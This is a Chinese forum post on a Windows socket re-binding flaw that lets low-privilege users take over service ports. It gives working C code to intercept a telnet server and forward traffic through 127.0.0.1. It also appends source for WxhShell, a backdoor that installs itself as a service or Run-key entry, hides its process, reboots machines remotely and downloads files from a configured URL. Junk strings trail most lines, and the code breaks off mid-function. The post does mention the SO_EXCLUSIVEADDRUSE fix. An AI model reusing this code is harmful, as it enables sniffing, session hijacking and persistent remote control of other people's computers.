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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2u{~35  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n<?U6~F&~  
qxL\G &~  
  saddr.sin_family = AF_INET; 7 qKz_O  
!_I1=yi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); spK8^sh  
bcIae0LZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F(")ga$r  
hlVye&;b8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 st'T._  
\#sD`O  
  这意味着什么?意味着可以进行如下的攻击: 05UN <l]  
F^!D[:;jK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3m1g"  
GgO5=|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -D^I;[j_  
 hfB$4s9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V&Y`?Edc  
"ra$x2|=}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9QZaa(vN  
lu utyK!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qF)J#$4;6  
UQVL)-Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :e1h!G  
pEyZH!W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oO}g~<fYG  
[4KQcmJc#  
  #include u@a){ A(P  
  #include {v={q1  
  #include _H]\  
  #include    kHM Jh~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]m1fo'  
  int main() UpoSC  
  { # :+Nr  
  WORD wVersionRequested; Y,]Lk<Hm3  
  DWORD ret; z/?* h  
  WSADATA wsaData; "2%z;!U1  
  BOOL val; ?0qVyK_1  
  SOCKADDR_IN saddr; xC76jE4  
  SOCKADDR_IN scaddr; 0TN28:hcD  
  int err; so))J`ca)  
  SOCKET s; *,u3Wm|7  
  SOCKET sc; 2=cx`"a$  
  int caddsize; +LHU}'|  
  HANDLE mt; y<`5  
  DWORD tid;   LKN7L kl  
  wVersionRequested = MAKEWORD( 2, 2 ); @2(u=E:^  
  err = WSAStartup( wVersionRequested, &wsaData ); MGdzrcF  
  if ( err != 0 ) { "M%R{pGA7  
  printf("error!WSAStartup failed!\n"); 8t+eu O  
  return -1; ;`AB-  
  } +IZ=E >a  
  saddr.sin_family = AF_INET; VZ]iep  
   "&(/bdah?&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e02Hf{eOfw  
Ae5A@4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4KPn V+h"b  
  saddr.sin_port = htons(23); 0d2P   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (3e.q'  
  { U1\EwBK8*T  
  printf("error!socket failed!\n"); 3Tr,waV  
  return -1; ~M~DH-aX  
  } 5SFr E`  
  val = TRUE; :s)cTq|3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y1r$;;sH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1 UQ,V`y  
  { :>-zT[Lcn  
  printf("error!setsockopt failed!\n"); HwU9 y   
  return -1; E|pT6  
  } S2X@t>u-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cXXZ'y>FP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -"-.Z&#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TE`5i~R*  
Va!G4_OT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T CT8OU|  
  { \((MoQ9Qk  
  ret=GetLastError(); (Ypy}  
  printf("error!bind failed!\n"); jUT`V ZK4&  
  return -1; py6<QoGV  
  } a)|y0w)vV  
  listen(s,2); N:G]wsh  
  while(1) 082}=Tsx   
  { t{;2$z 0  
  caddsize = sizeof(scaddr); nD i^s{  
  //接受连接请求 7i5B=y7b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '}agi.z  
  if(sc!=INVALID_SOCKET) w4L()eP#?=  
  { }L0 [ Jo:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s|IBX0^@  
  if(mt==NULL) OvH:3 "Sdy  
  { sRB=<E*_  
  printf("Thread Creat Failed!\n"); |v+z*}fKw  
  break; le*+(aw  
  } eKLvBa-{@  
  } }6Pbjm*  
  CloseHandle(mt); Bzz|2/1y  
  } qrMED_(D  
  closesocket(s); $(}rTm  
  WSACleanup(); w_"d&eYdg0  
  return 0; #1dVp!?3T  
  }   `%YMUBaI  
  DWORD WINAPI ClientThread(LPVOID lpParam) |s3;`Nxu7  
  { m|NZ093d  
  SOCKET ss = (SOCKET)lpParam; u|KjoO   
  SOCKET sc; Kp7D I0~  
  unsigned char buf[4096]; 'Agw~ &$  
  SOCKADDR_IN saddr; %g :Q?   
  long num; ss-W[|cHU  
  DWORD val; (]w6q&,  
  DWORD ret; cvcZ\y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !B`z|#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F{mUxo#T  
  saddr.sin_family = AF_INET; ;R= n<=Axa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?j&hG|W9<z  
  saddr.sin_port = htons(23); <zCWLj3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6B]=\H  
  { _l{~O  
  printf("error!socket failed!\n"); |GMo"[  
  return -1; G=y~)B}  
  } [IHo ~   
  val = 100; 2 G.y.#W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _DxHJl  
  { )\yK61aX  
  ret = GetLastError(); 6UCF w>  
  return -1; 0"7+;(\1Rk  
  } ?22U0UF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s AFn.W  
  { :uo)-9_  
  ret = GetLastError(); 3JC uM_y  
  return -1; 1 b 7jNkQ  
  } b |:Y3_>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]QlW{J  
  { *I :c@iCNJ  
  printf("error!socket connect failed!\n"); pZ8J\4+  
  closesocket(sc); G:*vV#K  
  closesocket(ss); rp\`uj*D  
  return -1; 1v&!%9  
  } !4Aj#`)  
  while(1) k, N{  
  { F]M-r{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t]I9[5Pq\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kqX=3Zo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *zUK3&n~I  
  num = recv(ss,buf,4096,0); ?OW!D?  
  if(num>0) *AV%=   
  send(sc,buf,num,0); Uha.8  
  else if(num==0) +TbAtkEF*  
  break; XQ~Xls%]   
  num = recv(sc,buf,4096,0); U4 *u|A  
  if(num>0) W=HvMD  
  send(ss,buf,num,0); XaCvBQ  
  else if(num==0) jyD~ER}J  
  break; 7c"Csq/]I  
  } R'sNMWM  
  closesocket(ss); .@): Uh  
  closesocket(sc); Dtd~}-_Q  
  return 0 ; 6):1U  
  } (Y'cxwj%  
IP/%=m)\%  
?98!2:'{9  
========================================================== L\UPM+tE  
X<5fn+{]S:  
下边附上一个代码,,WXhSHELL oeg Bk  
s,r|p@^  
========================================================== `U|7sLR  
x^@oY5}cr  
#include "stdafx.h" N!c FUZ5]  
/a*){JQ5j  
#include <stdio.h> F.U@8lr  
#include <string.h> $B8Vg `+  
#include <windows.h> j4,y+ 9U  
#include <winsock2.h> !Ew ff|v"  
#include <winsvc.h> p-I J':W  
#include <urlmon.h> XB7*S*"!  
46]BRL2 G  
#pragma comment (lib, "Ws2_32.lib") YyYZD{^  
#pragma comment (lib, "urlmon.lib") 9h|6"6  
^R:&c;&,  
#define MAX_USER   100 // 最大客户端连接数 FzEs1hpl  
#define BUF_SOCK   200 // sock buffer 9287&+,0r  
#define KEY_BUFF   255 // 输入 buffer {@CQ (  
<y8oYe_!  
#define REBOOT     0   // 重启 Tr_gc~  
#define SHUTDOWN   1   // 关机 ^2}HF/  
Ho&:Zs  
#define DEF_PORT   5000 // 监听端口 f2[R2sto@  
{ol7*%u  
#define REG_LEN     16   // 注册表键长度 Uj;JN}k  
#define SVC_LEN     80   // NT服务名长度 7LU^Xm8  
$M)SsD~  
// 从dll定义API !#pc@(rE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;@=3 @v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;[;WEA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~bkO8tn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k 6M D3c  
el`?:dY H  
// wxhshell配置信息 lIS`_H}  
struct WSCFG { zHA::6OgPN  
  int ws_port;         // 监听端口 l6#Y}<tq  
  char ws_passstr[REG_LEN]; // 口令 Y Iwa =^  
  int ws_autoins;       // 安装标记, 1=yes 0=no C IMI?  
  char ws_regname[REG_LEN]; // 注册表键名 ~588M 8~  
  char ws_svcname[REG_LEN]; // 服务名 vD@|]@gq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }xC2~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pw<'rN8''  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @*|VWHR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g;=VuQuP|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xI{fd1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t3<8n;'y:  
27N;>   
}; ~(v5p"]dj  
a%.W9=h=M(  
// default Wxhshell configuration 0e<>2AL   
struct WSCFG wscfg={DEF_PORT, %d];h  
    "xuhuanlingzhe", ~2\Sn-`  
    1, 8<"g&+T  
    "Wxhshell", ZeuL*c \  
    "Wxhshell", joskKik^  
            "WxhShell Service", W]/J]O6  
    "Wrsky Windows CmdShell Service", ;*Vnwt A  
    "Please Input Your Password: ", qdI%v#'M  
  1, n[0u&m8  
  "http://www.wrsky.com/wxhshell.exe", ;>mM9^Jaf  
  "Wxhshell.exe" ( jU $  
    }; Ic4#Tk20i  
ld ]*J}cw  
// 消息定义模块 :0:Tl/))  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?'0!>EjY"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eMnK@J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T`wDdqWbEG  
char *msg_ws_ext="\n\rExit."; QNOdt2NN  
char *msg_ws_end="\n\rQuit."; vY_[@y  
char *msg_ws_boot="\n\rReboot..."; vN^.MR+<  
char *msg_ws_poff="\n\rShutdown..."; V3ht:>c9qs  
char *msg_ws_down="\n\rSave to "; _?H3*!>3  
2, )>F"R  
char *msg_ws_err="\n\rErr!"; %\ i&g$  
char *msg_ws_ok="\n\rOK!"; JWd[zJ[  
mq[=,,#  
char ExeFile[MAX_PATH]; 0Q a 0  
int nUser = 0; Y]L4,V  
HANDLE handles[MAX_USER]; Rm=p}  
int OsIsNt; (a#gCG\  
%<-OdyM  
SERVICE_STATUS       serviceStatus; .2c/V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I+H~ 5zq.  
sR1_L/.  
// 函数声明 ]uox ^HC  
int Install(void); pZ'q_Oux  
int Uninstall(void); \"(?k>]E  
int DownloadFile(char *sURL, SOCKET wsh); GIzB1cl:  
int Boot(int flag); Op-z"inw  
void HideProc(void); )9"^ D  
int GetOsVer(void); ^'E^*R  
int Wxhshell(SOCKET wsl); 6}-No  
void TalkWithClient(void *cs); W"Y)a|rG%  
int CmdShell(SOCKET sock); y@7fR9hp<  
int StartFromService(void); I9 zs  
int StartWxhshell(LPSTR lpCmdLine); A]!0Z:{h%  
9oJM?&i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s0dP3tz>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Tr&`2w  
3`yO&upk  
// 数据结构和表定义 kyAN O  
SERVICE_TABLE_ENTRY DispatchTable[] = xH\\#4/  
{ L0"|4=  
{wscfg.ws_svcname, NTServiceMain}, 0\XWdTj{  
{NULL, NULL} eZOR{|z  
}; .4^+q9M  
) n O ^Ay  
// 自我安装 }R<t=):  
int Install(void) t9U6\ru  
{ V?S}%-a  
  char svExeFile[MAX_PATH]; je^VJ&ac  
  HKEY key; syB pF:`-W  
  strcpy(svExeFile,ExeFile); 1<'z)r4  
D/Ki^E  
// 如果是win9x系统,修改注册表设为自启动 /al56n  
if(!OsIsNt) { FTCIfW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <VhmtT%7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); THhxj)  
  RegCloseKey(key); _y[C52,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5kw  K%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gw3+TvwU+Q  
  RegCloseKey(key); QIMd`c  
  return 0; S'34](9n6  
    } UDr 1t n  
  } sPi  
} pRV.\*:c  
else { HNS^:X R  
VQpt1cK*  
// 如果是NT以上系统,安装为系统服务 :4V5p =v-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6d]4 %QT  
if (schSCManager!=0) HSNj  
{ ;S U<T^a  
  SC_HANDLE schService = CreateService ?h4[yp=w  
  ( LSc^3=X  
  schSCManager, 8_!qoW@B  
  wscfg.ws_svcname, Y^Buz<OiG  
  wscfg.ws_svcdisp, ?I^$35  
  SERVICE_ALL_ACCESS, h@R n)D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HjA~3l7  
  SERVICE_AUTO_START, E~}H,*)  
  SERVICE_ERROR_NORMAL, M,JwoKyg  
  svExeFile, }PK4 KRn  
  NULL, K*j OrQf`  
  NULL, o4p5`jOG@  
  NULL, hx0t!k(3  
  NULL, 3g!Z[SZ  
  NULL 4A@HR  
  ); Jn{)CZ  
  if (schService!=0) O~qRHYv  
  { u;$qJjS N  
  CloseServiceHandle(schService); lVT*Ev{&.  
  CloseServiceHandle(schSCManager); !O"2)RU1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); []@@  
  strcat(svExeFile,wscfg.ws_svcname); \@Cz 32wg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sC\?{B0 r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WDghlC6g!l  
  RegCloseKey(key); aQmS'{d?^  
  return 0; o(e(| k {  
    } _'cB<9P  
  } mH$`)i8  
  CloseServiceHandle(schSCManager); ppIXS(  
} 'Grej8  
} 1oO(;--u_  
;U4O` pZ  
return 1; }}k%.Qb  
} x~}&t+FK  
#WG}"[ ,c  
// 自我卸载 R-zS7Jyox  
int Uninstall(void) ,Dv*<La`\  
{ ]mtiIu[  
  HKEY key; ~s&r.6 DW  
t+A*Ws*o  
if(!OsIsNt) { u|wl;+.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z{3`nd,  
  RegDeleteValue(key,wscfg.ws_regname); h$`m0-'  
  RegCloseKey(key); HR?T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wy-_}wqHg  
  RegDeleteValue(key,wscfg.ws_regname); !q$VnqFk  
  RegCloseKey(key); &w^9#L  
  return 0; |e#W;q$v  
  } ^!^M Gzu  
} f`ibP6%  
} FFZ?-sE  
else { 0@?m"|G  
iuWUr?`\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b&yuy  
if (schSCManager!=0) 0Md.3kY  
{ olQP>sa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W>!:K^8]  
  if (schService!=0) dn'|~zf.  
  { AB%i|t  
  if(DeleteService(schService)!=0) { " l|`LjP5M  
  CloseServiceHandle(schService); U:~]>B $  
  CloseServiceHandle(schSCManager); pSQX  
  return 0; -l}"DP _  
  } " TCJT390  
  CloseServiceHandle(schService); h(kPf ]0  
  } _}47U7s8  
  CloseServiceHandle(schSCManager); $'CS/U`E}  
} r ts2Jk7f  
} 4j0;okQWV'  
8cZ[Kl%  
return 1; g \S6>LG!  
} H5d@TB, `  
56YqYu.  
// 从指定url下载文件 91R7Rrne  
int DownloadFile(char *sURL, SOCKET wsh) vxf09v{-  
{ ABoB=0.l  
  HRESULT hr; Fp?M@  
char seps[]= "/"; #@YKNS[  
char *token; @>VX]Qe^X  
char *file; b&E"r*i|  
char myURL[MAX_PATH]; 6miXaAA8  
char myFILE[MAX_PATH]; Y/UvNb<lK  
y)|d`qC\  
strcpy(myURL,sURL); N:64Gko"K  
  token=strtok(myURL,seps); m~=VUhPd  
  while(token!=NULL) s w >B  
  { 1Bs  t|  
    file=token; j/oc+ M^  
  token=strtok(NULL,seps); _T.`+0UV  
  } ,]JIp~=nsh  
J0bcW25  
GetCurrentDirectory(MAX_PATH,myFILE); 0u"j^v  
strcat(myFILE, "\\"); tol-PJS}  
strcat(myFILE, file); q@S \R 7R  
  send(wsh,myFILE,strlen(myFILE),0); ^3vI NF  
send(wsh,"...",3,0); Jon3ywd1Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EpACd8Fb  
  if(hr==S_OK) $[HCetaqV  
return 0; w$s6NBF7  
else gZ>&cju  
return 1; 9`qw,X&AK_  
WllQM,h  
} p:tp |/  
'Kmf6iK>[  
// 系统电源模块 {pXX%>  
int Boot(int flag) cfBl HeYE  
{ %t* 9sh  
  HANDLE hToken; JI-.SR  
  TOKEN_PRIVILEGES tkp; AWFq5YMSI  
I^LU*A=  
  if(OsIsNt) { c<q33dZ!*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |R91|-H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !}mM"|<  
    tkp.PrivilegeCount = 1; &<&eKq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .+8#&Uy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^Q0=Ggh  
if(flag==REBOOT) { `:ZaT('h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mV}8s]29  
  return 0; ;x_T*} CH  
} to_dNJbv  
else { FN26f*/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p;zT #%  
  return 0; It'kO jx]  
} YJz06E1 -9  
  } !6taOT>v  
  else { s 64@<oU<"  
if(flag==REBOOT) { &`!H1E^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  S{XO3  
  return 0; Rbgy?8#9  
} ooa"Th<  
else { UaXIrBc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6R3/"&P(/#  
  return 0; T{3-H(-gA  
} NP\/9 8|1  
} 4%yeEc ;z  
R Ee~\n+P^  
return 1; /55 3v;l<  
} =yJc pj  
k'"R;^~xg  
// win9x进程隐藏模块 W>CG;x{  
void HideProc(void) o<s~455m/  
{ M_$;"NS+}  
9O&MsTmg$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _jCu=l_  
  if ( hKernel != NULL ) W`#E[g?]  
  { %,8 "cM`D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9QF,ynE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s}gdi  
    FreeLibrary(hKernel); W+V &  
  } -:!T@rV,d  
gi_f8RP=2a  
return; H%>cpwa[7  
} nH?#_ 5F1  
9,>c;7s X  
// 获取操作系统版本 (A_H[xP  
int GetOsVer(void) .`D$.|!8g  
{ 7O=7lQ  
  OSVERSIONINFO winfo; 6h[fk.W_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F CfU=4O  
  GetVersionEx(&winfo); W-1Ub |8C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9-=kVmT&g  
  return 1; |M?VmG/6  
  else m aQDD*  
  return 0; ?ZKIs9E[m  
} ]K5j(1EN  
68qCY  
// 客户端句柄模块 ,0,& L  
int Wxhshell(SOCKET wsl) @-1VN;N  
{ #zn`)n  
  SOCKET wsh; S6yLq|W0  
  struct sockaddr_in client; @, z4{B  
  DWORD myID; WR* <|  
cR6 #$-a  
  while(nUser<MAX_USER) \S?;5LacZ  
{ 1$yS Ii  
  int nSize=sizeof(client); n5#9o},oK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S U P  
  if(wsh==INVALID_SOCKET) return 1; u69G #  
:N4?W}r.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,{RWs^W2  
if(handles[nUser]==0) LwI4 2  
  closesocket(wsh); P=4o)e7E!  
else @G>&Gu;5  
  nUser++; ,UT :wpc^i  
  } i@YM{FycX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &xFs0R i(  
OBM&N  
  return 0; cbx( L8  
} 1[?xf4EMG  
ARB^]  
// 关闭 socket <5c^DA  
void CloseIt(SOCKET wsh) M1Th~W9l  
{ {`% q0Nr  
closesocket(wsh); y2x)<.cDP  
nUser--; _cc9+o  
ExitThread(0); wqQrby<  
} >$A,B  
VsRdZ4  
// 客户端请求句柄 N?%FVF  
void TalkWithClient(void *cs) kgFx  
{ /T<,vR  
hQJ-  ~  
  SOCKET wsh=(SOCKET)cs; (Vy`u)gG  
  char pwd[SVC_LEN]; l\=He  
  char cmd[KEY_BUFF]; KJ6:ZTbW  
char chr[1]; &K,rNH'R  
int i,j; 6~8X/ -02  
A0uA\E4q  
  while (nUser < MAX_USER) { qzE -y-9@  
-hO[^^i9  
if(wscfg.ws_passstr) { +&)&Ny$W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Et"B8@'P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]K>x:vMKH  
  //ZeroMemory(pwd,KEY_BUFF); 0\Myhh~DLE  
      i=0; N07FU\<9  
  while(i<SVC_LEN) { J*f..:m  
v<S?"# ]F=  
  // 设置超时 +JBYGYN&K  
  fd_set FdRead; cD4H@!=a  
  struct timeval TimeOut; bdyE9t   
  FD_ZERO(&FdRead); ulY<4MN  
  FD_SET(wsh,&FdRead); JsQmn<Yt  
  TimeOut.tv_sec=8; v0~*?m4  
  TimeOut.tv_usec=0; @{^6_n+gT%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rt!Uix&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vqBT^Q_q;  
vM /D7YS:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @I0[B<,:G  
  pwd=chr[0]; [yfi:|n1  
  if(chr[0]==0xd || chr[0]==0xa) { qRA ,-N  
  pwd=0; xcu:'7'K[  
  break; 0VlB7oF  
  } y{uN+QS  
  i++; h*zHmkFR  
    } JdA3O{mT)  
e^Lt{/  
  // 如果是非法用户,关闭 socket `n`aA)|<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ef(OhIX  
} 7TGLt z  
"0A !fRI~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L+$9 ,<'[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T! fF1cpF\  
gJI(d6  
while(1) { C XiSin  
>_um-w#C  
  ZeroMemory(cmd,KEY_BUFF); y e1hcQ  
"': u#UdS  
      // 自动支持客户端 telnet标准   tm280  
  j=0; `!iVMTp  
  while(j<KEY_BUFF) { G~Mxh,aD$>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .R>4'#8q  
  cmd[j]=chr[0]; J |TA12s  
  if(chr[0]==0xa || chr[0]==0xd) { SXfAw)-n  
  cmd[j]=0; ZzV%+n7<Vx  
  break; :f58JLX  
  } M%Dv-D{  
  j++; FrBJv<  
    } cv  /  
k'$UA$2d  
  // 下载文件 `}9jvR5  
  if(strstr(cmd,"http://")) { 9zK5Y+!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ s@'nKc  
  if(DownloadFile(cmd,wsh)) ,~,{$\p   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /6@Wm? `DB  
  else F`\7&'I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yzQ^KqLH  
  } %?[H=v(b  
  else { Yhkn(k2  
^l"  
    switch(cmd[0]) { ]@MBE1M  
  C 9:5c@G  
  // 帮助 e^ygQ<6%  
  case '?': { s9-aPcA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F)g.xQ  
    break; 4chSo.= 4V  
  } KD5}Nk)t  
  // 安装 }vLK-V v  
  case 'i': { 3d@$iAw1<  
    if(Install()) O*7Gl G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /_G^d1T1?L  
    else /*8Ms`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r6*~WM|Sq7  
    break; e)2s2y@zi  
    } %SJ9Jr,  
  // 卸载 QjlwT2o'  
  case 'r': { qc-4;m o  
    if(Uninstall()) WhHnF*I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z rV  
    else zT5@wm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iB,Nqs3 i*  
    break; u.s-/ g  
    } $zvqjT:>  
  // 显示 wxhshell 所在路径 <U ?_-0  
  case 'p': { ZiS<vWa3R  
    char svExeFile[MAX_PATH]; TZ,kmk#  
    strcpy(svExeFile,"\n\r"); szy^kj^2  
      strcat(svExeFile,ExeFile); m pWmExQ  
        send(wsh,svExeFile,strlen(svExeFile),0); S%7^7MSqA  
    break; BiUOjQC#  
    } _g(4-\  
  // 重启 &_EjP hZ  
  case 'b': { @Gj|X>0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MQv2C@K9F  
    if(Boot(REBOOT)) Ux Yb[Nbc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M)oy3y^&  
    else { 62X;gb  
    closesocket(wsh); ag$mc8-p[  
    ExitThread(0); 6(`Bl$M9  
    } hK t c  
    break; ~#b&UR  
    } .WR+)^&zz  
  // 关机 5)MVkJ=R  
  case 'd': { *y;(c)_w/%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XY;cz  
    if(Boot(SHUTDOWN)) ?4U|6|1  
